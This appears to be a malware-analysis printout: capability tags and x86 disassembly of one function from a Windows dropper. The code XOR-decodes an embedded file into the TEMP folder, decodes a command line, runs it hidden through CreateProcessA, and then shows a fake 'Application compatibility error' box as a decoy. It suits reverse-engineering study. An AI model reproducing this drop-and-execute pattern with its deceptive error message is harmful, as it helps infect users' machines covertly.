Function at 0x401524
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, 0xc4c4
call fcn.00402740
sub esp, eax
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], 0
mov dword [esp], str.TEMP
call sym._getenv
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._szelPLOyYySIx
mov dword [esp + 4], 0xff
lea eax, [ebp - 0x168]
mov dword [esp], eax
call sym._snprintf
mov dword [esp + 4], 0x40a059
lea eax, [ebp - 0x168]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4015c2
mov dword [esp], 1
call sym._exit
lea eax, [ebp - 0x39e8]
mov edx, 0x40a174
mov ecx, 0x3880
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
lea eax, [ebp - 0x7268]
mov edx, 0x40d9f4
mov ecx, 0x3880
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [ebp - 0xc], 0
jmp 0x40164f
lea edx, [ebp - 0x39e8]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx ebx, byte [eax]
mov ecx, dword [ebp - 0xc]
mov eax, ecx
shr eax, 7
mov edx, 0x243f6f1
mul edx
imul eax, edx, 0x3880
sub ecx, eax
mov edx, ecx
movzx eax, byte [ebp + edx - 0x7268]
xor ebx, eax
mov edx, ebx
lea ecx, [ebp - 0x39e8]
mov eax, dword [ebp - 0xc]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 0x387f
jbe 0x40160b
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x3880
mov dword [esp + 4], 1
lea eax, [ebp - 0x39e8]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x9b7c]
mov edx, 0x411274
mov ecx, 0x2914
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
lea eax, [ebp - 0xc490]
mov edx, 0x413b88
mov ecx, 0x2914
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [ebp - 0xc], 0
jmp 0x401718
lea edx, [ebp - 0x9b7c]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx ebx, byte [eax]
mov ecx, dword [ebp - 0xc]
mov edx, 0xc76cc4b3
mov eax, ecx
mul edx
mov eax, edx
shr eax, 0xd
imul edx, eax, 0x2914
mov eax, ecx
sub eax, edx
movzx eax, byte [ebp + eax - 0xc490]
xor ebx, eax
mov edx, ebx
lea ecx, [ebp - 0x9b7c]
mov eax, dword [ebp - 0xc]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 0x2913
jbe 0x4016d2
lea eax, [ebp - 0x68]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x58]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x9b7c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Application_compatibility_error
mov dword [esp + 4], str.The_version_of_this_file_is_not_compatible_with_the_version_of_Windows_youre_running._Check_your_computers_system_information_to_see_whether_you_need_an_x86__32_bit__or_x64__64_bit__version_of_the_program__and_then_contact_he_software_publisher.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret 0x10